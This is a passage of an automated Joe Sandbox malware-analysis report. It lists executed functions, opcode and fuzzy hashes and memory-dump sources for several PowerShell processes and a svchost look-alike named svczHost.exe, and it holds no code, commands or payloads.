Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 529c0f707298d559440ca124cbdd6af88da242bba1dae250406a24089d5bbbd1
Instruction ID: c125c551316124c3210ea3cf9d2a09ba78c67ad48fda8c079d9e31082105057a
Opcode Fuzzy Hash: 529c0f707298d559440ca124cbdd6af88da242bba1dae250406a24089d5bbbd1
Instruction Fuzzy Hash: 8921493190CB4C8FDB59DFAC984A7E97BE0EB96321F04426FD049C3152DA74A44ACB91

Function 00007FF9D39CF684 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c31a416ad11046a56e586e7f35dc3dab0899fff17d0a4af87bc57782f0c3fc80
Instruction ID: caab0aa3166902c5466bbcf01b9d0535bba57fa7e7ec39588384db16f270a0bf
Opcode Fuzzy Hash: c31a416ad11046a56e586e7f35dc3dab0899fff17d0a4af87bc57782f0c3fc80
Instruction Fuzzy Hash: D0311B3191854DCEFBB4EF28CC0ABF97290FB4131AF50413AD58EC6192CA797945CB11

Function 00007FF9D4100620 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290396184631.00007FF9D4100000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D4100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d4100000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4326e3d22ef4627991275fdf61f157a28696a019f2216057fdcdef2ac14c0ff6
Instruction ID: 26f46ae0bb27e424f6cc55a418fb0df94e4823f97320b85482d65830656b37c4
Opcode Fuzzy Hash: 4326e3d22ef4627991275fdf61f157a28696a019f2216057fdcdef2ac14c0ff6
Instruction Fuzzy Hash: C721509290DBC64FE3265B2869AA3647FA5DF73244F1E00EBC0C8DB1D3E84958458352

Function 00007FF9D3A92818 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290380587889.00007FF9D3A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d3a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb11fe71988800cb73f2d96d02281db590367e398b004487861009bcc751915f
Instruction ID: b0bb47ee8f7cc1712b4c656b89966e4d8a5a85de94d88f0dc9100304cf7d9874
Opcode Fuzzy Hash: eb11fe71988800cb73f2d96d02281db590367e398b004487861009bcc751915f
Instruction Fuzzy Hash: B701A712F0AA1E0AEFEDD61C14197BCE1C1DF54152BA441FFD48DE3196DD48BC000291

Function 00007FF9D39C37B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction ID: 6219ca93b444a22b55f27fa1ca4abd06fc69da4fe886991a26da0f366c308909
Opcode Fuzzy Hash: e26e880e1d71fe7436f510caca523963cd19ce89c1addea80b81cc1ac8720924
Instruction Fuzzy Hash: 8401677111CB0D8FD744EF1CE451AA6B7E0FB95324F10056EE58AC3651DB36E892CB45

Function 00007FF9D39D1638 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed20bddad5c3000eab77573c0ccf366c9c4352549285ac9e50008c24b2b6d37e
Instruction ID: 63aef159cadd188d122000d38ed9972b255ba7a1aaf8b0746a5c14488e39dcd0
Opcode Fuzzy Hash: ed20bddad5c3000eab77573c0ccf366c9c4352549285ac9e50008c24b2b6d37e
Instruction Fuzzy Hash: 5AF0E9358086898FCB06DF28884E9E9BFA0EF26211B0502DBE459C7162DB74A458CBD2

Function 00007FF9D39CB4F8 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.290379367462.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ff8ec62e2fd963a19c6322348a25076d1cb074f1bf88d2892f47d70cba647b
Instruction ID: a7f044005f720828daf23a1653c11e5e96318748b52fe1cc64f63866df706f73
Opcode Fuzzy Hash: 38ff8ec62e2fd963a19c6322348a25076d1cb074f1bf88d2892f47d70cba647b
Instruction Fuzzy Hash: AAE0863541090C8F8B44EF18D4099E977E0FB28305B00025BF40DD3120DB30A554CBC2

Analysis Process: powershell.exePID: 7784, Parent PID: 3076COMMON

Executed Functions

Function 00007FF9D389EF00 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.290208576443.00007FF9D389D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D389D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff9d389d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52da854b46a46e5e65e3dd52ddb3a2f01b22e7fd68d4939158aaf72a5ee90052
Instruction ID: c3583de27e1c6fd1ed44bcb141246147a679f5f22b565a842f0827b2983acc3c
Opcode Fuzzy Hash: 52da854b46a46e5e65e3dd52ddb3a2f01b22e7fd68d4939158aaf72a5ee90052
Instruction Fuzzy Hash: CC41F57180DBC44FE75ACB289859A527FF0EF57321B1901DFD088CB1A3D669B846C7A2

Function 00007FF9D39B3C85 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.290209652182.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24c2a597cbe38ece1424114e42303251bf7a426c26287880d34f20ba3e21f50e
Instruction ID: 21b90f9fd07ff697b256207886308320db2dcc80f663a431be3a02bb9a75051c
Opcode Fuzzy Hash: 24c2a597cbe38ece1424114e42303251bf7a426c26287880d34f20ba3e21f50e
Instruction Fuzzy Hash: 5601677111CB0C8FD744EF0CE495AA5B7E0FB95324F50056EE58AC3651DB36E892CB45

Analysis Process: powershell.exePID: 8300, Parent PID: 8204COMMON

Executed Functions

Function 00007FF9D3A92AC1 Relevance: 2.3, Strings: 1, Instructions: 1036COMMON

Download Yara Rule

Strings

p!, xrefs: 00007FF9D3A928DB

Memory Dump Source

Source File: 00000010.00000002.291100787467.00007FF9D3A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d3a90000_powershell.jbxd

Similarity

API ID:
String ID: p!
API String ID: 0-3102429607
Opcode ID: ca80c01ae3ce26328af247bb4b13a03ebf5789545098a328bdf6cbd8fe456a6c
Instruction ID: 0ee779f9386dc3c7f456375d177a7164a55725f8987772c6de325a92c7a4714d
Opcode Fuzzy Hash: ca80c01ae3ce26328af247bb4b13a03ebf5789545098a328bdf6cbd8fe456a6c
Instruction Fuzzy Hash: 4372D131A0CA4D4FEB98DB188459B78BBE2EF55301F6441BED08DE7292DE65BC42C781

Function 00007FF9D3EF299B Relevance: .7, Instructions: 671COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291121318974.00007FF9D3EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d3ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b0400e0cf3694e3f67001728babd6cc52e0c96c72eedb21fad8392b705a0a1d
Instruction ID: 7342b7d08cbc252a6a773ab47fd3fa5d9882f2f85836c3e6bf79e9a7978783a8
Opcode Fuzzy Hash: 4b0400e0cf3694e3f67001728babd6cc52e0c96c72eedb21fad8392b705a0a1d
Instruction Fuzzy Hash: B112332190DBC54FE357D738985AAA87FE1EF47260B1801FFD489CB0E3DAA96846C351

Function 00007FF9D3A92389 Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291100787467.00007FF9D3A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d3a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c36c16a12d409c6213cdc15bd8637669c9adb8d8a2b3561140fa92e57143f66
Instruction ID: fb198dfe1aae8c7c7fbe005193cfc700d7085d3fba86a923683affc146a45d2a
Opcode Fuzzy Hash: 7c36c16a12d409c6213cdc15bd8637669c9adb8d8a2b3561140fa92e57143f66
Instruction Fuzzy Hash: D1D18D12B0DB894FEB99CA1C5859BB87BD1EF96251B5800FFC089E7193DD4CBC068391

Function 00007FF9D39C3BD3 Relevance: .4, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291097808955.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df6990912c01b52254e5f954b8626bb439aceb5558bd75f2ee75f11c9f31f3c1
Instruction ID: 8fc2e0fd3ade98ef852871b952969404ed98501578f61bb337e21def36a99c04
Opcode Fuzzy Hash: df6990912c01b52254e5f954b8626bb439aceb5558bd75f2ee75f11c9f31f3c1
Instruction Fuzzy Hash: CEE1C231A08A4D8FDB45DF6CC495AEDBBF1FF59305F24416AD049E7296CA74A841CB80

Function 00007FF9D3EF1E51 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291121318974.00007FF9D3EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d3ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 370da853ca5d4a56b0103bbd6e9d58301b0eacce5fb0d6a52f06f6289fa49fe3
Instruction ID: 337e77c893ef60d573f9220a09355e361420cf67030a4520675227de8961e253
Opcode Fuzzy Hash: 370da853ca5d4a56b0103bbd6e9d58301b0eacce5fb0d6a52f06f6289fa49fe3
Instruction Fuzzy Hash: 3491262290DB894FE797D7284818AB9BFE1DF52211B1841FFD08DDB1E3DA99AC05C361

Function 00007FF9D3A9B233 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291100787467.00007FF9D3A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d3a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b565ac6d1de954df1eb6497d7a4ff3f09e74b865ded5ac424c43abc79a31e540
Instruction ID: 3c93d9367d17ac40a7c08068e192b2850eaa709f12fa2baa95d712dd1e8f94b1
Opcode Fuzzy Hash: b565ac6d1de954df1eb6497d7a4ff3f09e74b865ded5ac424c43abc79a31e540
Instruction Fuzzy Hash: EF510622B0CB464FEBDDCB1C5455B79B7C1EF85212BA900BFC08DEB596DE94F8058291

Function 00007FF9D39C4EA0 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291097808955.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e452a294b1d42fd448112e6d7309904ac7db9bccf4620cf966623f4c5bc4ac7a
Instruction ID: d1b8c3f33aa72a95757cb033b54291f3a541a52092f48875e08a1582729d652f
Opcode Fuzzy Hash: e452a294b1d42fd448112e6d7309904ac7db9bccf4620cf966623f4c5bc4ac7a
Instruction Fuzzy Hash: 5141187060CA498FEB94EF28844AFBD7BE1EF55315F2840BEE589D3192CA65F841C780

Function 00007FF9D38AEF00 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291095427740.00007FF9D38AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D38AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d38ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02bf3844f12132307c65de2bb7b1f689d42f4587434f8cbe7ce0371a020a4c27
Instruction ID: c7655341980f46dc980727ba1e7e36648b450c552beffac85974064b67d7c182
Opcode Fuzzy Hash: 02bf3844f12132307c65de2bb7b1f689d42f4587434f8cbe7ce0371a020a4c27
Instruction Fuzzy Hash: A441257040DBC44FE75ACB289855A627FF0EF57261B1905DFD0C8CB1A3D625B84AC7A2

Function 00007FF9D39C92AD Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291097808955.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fce54b3bd85b08b53b0e35ad1f45a8085b1f9a26b0a98f778bc7d2ab8d049c9
Instruction ID: 41e99d0f5abc034664ac0761c57114ca45f687e23b307b6bb865c125095391cd
Opcode Fuzzy Hash: 6fce54b3bd85b08b53b0e35ad1f45a8085b1f9a26b0a98f778bc7d2ab8d049c9
Instruction Fuzzy Hash: 67016D5584E3C15EE793A7381C64973BFF48E8312AB1C05EFD0D8C5097E4881846C347

Function 00007FF9D39C4BF5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291097808955.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 498c9e7baf914eca27690f88a7f1c831653c91c5cacc07aacc4efdbc13e8863d
Instruction ID: 71279a2caacb7f6f3247a59fc96235df0db74b8d4cb1f673d5c3106ec297aaed
Opcode Fuzzy Hash: 498c9e7baf914eca27690f88a7f1c831653c91c5cacc07aacc4efdbc13e8863d
Instruction Fuzzy Hash: 7101A73010CB0C8FD748EF0CE451AA5B3E0FB85324F10056EE58AC3261DB32E882CB45

Function 00007FF9D39CBE11 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291097808955.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b183283b606d365b3642fc016674f93bfd6a6f44ac44591ba8f561df99ff459
Instruction ID: fbd7f0002d2b5dda2a5e06115683e17d023c0c86bee008de273113ca88f92ef2
Opcode Fuzzy Hash: 6b183283b606d365b3642fc016674f93bfd6a6f44ac44591ba8f561df99ff459
Instruction Fuzzy Hash: 65F0C251A0DA895FE345A72C98696B87BE1EB8A700F2940FED18CCB2C7DD5C680543D2

Function 00007FF9D39C37D2 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291097808955.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15f418211c175a62bb8d94d5bfc5d1407843e184e7e032f85f690cf92e308de2
Instruction ID: 505fe9d57fd7f1f95a02ae840f96ce6338266d3d77233d2293bf4cb068b9764c
Opcode Fuzzy Hash: 15f418211c175a62bb8d94d5bfc5d1407843e184e7e032f85f690cf92e308de2
Instruction Fuzzy Hash: 78F0303275CA044FDB4CAA1CF8429B573D1EBD9335B10056EE48BC2656D927E8878686

Function 00007FF9D39C3818 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291097808955.00007FF9D39C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d39c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b1e7e41d4af5a5881fa797ef718fb863a66713b86b6a8354a4a8c025872bd63
Instruction ID: 3dd317acc70bd0e403b7f691b698938f2ebfea007b9f2b90023dab306628560d
Opcode Fuzzy Hash: 2b1e7e41d4af5a5881fa797ef718fb863a66713b86b6a8354a4a8c025872bd63
Instruction Fuzzy Hash: 3FF0373275C6048FDB4CAA1CF4429B573D1E795325B10016EE48BC2696D917F8428685

Function 00007FF9D3EF3FD4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291121318974.00007FF9D3EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d3ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39a5c096d00d04b0d5f7760738e1db665d0fd2cdb65808f762e763d6ae077ed
Instruction ID: e1f7cd80f26ed682aa088a7688eebd094c4b62994dbb024387e1edcf4b377f37
Opcode Fuzzy Hash: a39a5c096d00d04b0d5f7760738e1db665d0fd2cdb65808f762e763d6ae077ed
Instruction Fuzzy Hash: 12F0823131CA044BD744EE2CA445661B3D1FBA8310F10462EE44AC3251DA21E4818782

Function 00007FF9D3A9B5C0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291100787467.00007FF9D3A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d3a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1af5bf29b0bd91161ff4645c49508e2c82af0e1c38341b6462066c948d61217c
Instruction ID: 04d6e6e4fbe8fad991ccdfd5894d2b46ed7949c0bc76d75dfe5fc6b428af6816
Opcode Fuzzy Hash: 1af5bf29b0bd91161ff4645c49508e2c82af0e1c38341b6462066c948d61217c
Instruction Fuzzy Hash: EDF08231A0C6548FDB98EB5CE4559A8B7E0FF05321B9540FBE09EEB063CA66EC44C750

Function 00007FF9D3A9B311 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.291100787467.00007FF9D3A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D3A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff9d3a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a49a25932c82f4e4496cf932f66f41f7f5b916912be85100b5c902c68de7e79f
Instruction ID: 92afb5fde5bfd2383d45aaff56b49023bb247508f16f56a297d7ba7827fea660
Opcode Fuzzy Hash: a49a25932c82f4e4496cf932f66f41f7f5b916912be85100b5c902c68de7e79f
Instruction Fuzzy Hash: 35F0E231B0C6048FDB98EB0CD8849E8B3E1EF4933175400BBD08DD7062CAA5FC458740

Analysis Process: svczHost.exePID: 9020, Parent PID: 1360COMMON

Non-executed Functions

Function 00007FF7B1C0BFE0 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7B1C0C00C
GetCurrentThreadId.KERNEL32 ref: 00007FF7B1C0C01A
GetCurrentProcessId.KERNEL32 ref: 00007FF7B1C0C026
QueryPerformanceCounter.KERNEL32 ref: 00007FF7B1C0C036

Memory Dump Source

Source File: 00000015.00000002.291520463470.00007FF7B1B51000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1B50000, based on PE: true

Associated: 00000015.00000002.291520409008.00007FF7B1B50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291521308222.00007FF7B1FD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291521619097.00007FF7B2142000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291521619097.00007FF7B2258000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291521619097.00007FF7B225B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291522429082.00007FF7B2467000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291522511459.00007FF7B2468000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291522511459.00007FF7B2481000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291522511459.00007FF7B2484000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291522511459.00007FF7B2486000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000015.00000002.291522827665.00007FF7B2489000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff7b1b50000_svczHost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction ID: 61d75f16b62351cf5afcb862b58e91f2108d11a20e85eef7b03ba20ebf81d50b
Opcode Fuzzy Hash: 8dc9797bf68c6e5250aa19576460b601b27d2e6d7739833455c1b921422f380a
Instruction Fuzzy Hash: A0119126B05F0689EB01DF65E8542B873A0FB2AB58F840E31DF2D82758DF78D594C350

Analysis Process: powershell.exePID: 9160, Parent PID: 9020COMMON

Executed Functions

Function 00007FF9D39A77A6 Relevance: .5, Instructions: 468COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.290922743742.00007FF9D39A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff9d39a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acc097195be6a2a10e736d8eae5cc7793e2d935ad77847a42e19fcc5084bf616
Instruction ID: 845a974fc5d93554ace818130beb61d4ed4649afd97277ac6aa836300b5abba0
Opcode Fuzzy Hash: acc097195be6a2a10e736d8eae5cc7793e2d935ad77847a42e19fcc5084bf616
Instruction Fuzzy Hash: 4BF1C430918A4E8FEBA8DF28C846BE977D1FF55315F14826EE84DD3291CF74A9418B81

Function 00007FF9D39A8552 Relevance: .5, Instructions: 453COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.290922743742.00007FF9D39A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff9d39a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22b40abb229edc567a6f07be4d878b8dc08d84fae843f457aed1df94ae14b3bb
Instruction ID: cc8fd388626d6e4dbf1a307a737d6d6be1b8ce986bc7eacebfd3cc19fd305a1e
Opcode Fuzzy Hash: 22b40abb229edc567a6f07be4d878b8dc08d84fae843f457aed1df94ae14b3bb
Instruction Fuzzy Hash: 8BE1B33091CA4E8FEBA8DF28C849BE97BD1EF54315F14836ED84DD7291CE74A9418781

Function 00007FF9D39A8166 Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.290922743742.00007FF9D39A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff9d39a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb05679ff18c773c7ce83b6ebda9ae9f3e04d5b5c2c87d899a882ef73e0e2710
Instruction ID: 903daf6a43719a68db5519a2692a11ee5989c39a9aabe346f7dcaa5127274536
Opcode Fuzzy Hash: cb05679ff18c773c7ce83b6ebda9ae9f3e04d5b5c2c87d899a882ef73e0e2710
Instruction Fuzzy Hash: 5BB1D43051CA4D8FEBA8DF28D845BE97BD1FF55311F14826EE88DD3291CE74A8418B82

Function 00007FF9D39A7C64 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.290922743742.00007FF9D39A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff9d39a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 230e646b2f340330c847de2b4f0bf983309a91eab15abb1f9587abbe0f1da4ce
Instruction ID: 3c6a5026c675207c76cac06c5e1fc551a79582ecd6b474d890b07f462eb2711f
Opcode Fuzzy Hash: 230e646b2f340330c847de2b4f0bf983309a91eab15abb1f9587abbe0f1da4ce
Instruction Fuzzy Hash: FA31FB3482864DCEFBB4DF54CC0ABF972A1FB4131EF50463AE54DE6292CA787985CA11

Function 00007FF9D39A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.290922743742.00007FF9D39A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff9d39a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67694c688fafa699dc367278fd67d3f24c7a27e36de6235a8d70ea8403566a38
Instruction ID: cfa2834c264c21e6c212a5652d43adf8b25e79fc07d4c3487e5133b9ecb2f3ed
Opcode Fuzzy Hash: 67694c688fafa699dc367278fd67d3f24c7a27e36de6235a8d70ea8403566a38
Instruction Fuzzy Hash: E301677111CB0C8FD744EF1CE451AA5B7E0FB95324F50056EE58AC3651DB36E892CB45

Analysis Process: powershell.exePID: 8316, Parent PID: 9020COMMON

Executed Functions

Function 00007FF9D39B5B32 Relevance: 1.4, Strings: 1, Instructions: 183COMMON

Download Yara Rule

Strings

x6mX, xrefs: 00007FF9D39B5B87

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID: x6mX
API String ID: 0-449446497
Opcode ID: 4d36f520f5c1d06f735909949181eaed5ac60c84e0acc14a9e2c777c3120ce8e
Instruction ID: 1ed1802025b697d8e4b336d4a3e1edf25999288816660953c4f4430b9812c8b6
Opcode Fuzzy Hash: 4d36f520f5c1d06f735909949181eaed5ac60c84e0acc14a9e2c777c3120ce8e
Instruction Fuzzy Hash: CF51AC31D0DA888FE745DB68988A6FDBBE0EF55321F14417FC089C3147DAA578068B81

Function 00007FF9D39B6EB6 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF9D39B6FCE

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_7ff9d39b0000_powershell.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 0bb53b8657807201d136d7ac5b8339a436988d08c6c61415ae4237251d36786d
Instruction ID: cd590a340a2ad5b987e51c7da0c9ce8d9b7565a0e43960261cfdc99c7388c2a0
Opcode Fuzzy Hash: 0bb53b8657807201d136d7ac5b8339a436988d08c6c61415ae4237251d36786d
Instruction Fuzzy Hash: 08515E3180D6898FD716D6289C9AAFDBBE0EF42325F1402BFD5DDD70D2CA69B4168341

Function 00007FF9D39B6EDF Relevance: 1.4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF9D39B6FCE

Memory Dump Source

Source File: 0000001D.00000002.290917292605.00007FF9D39B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9D39B0000, based on PE: false

Joe Sandbox IDA Plugin

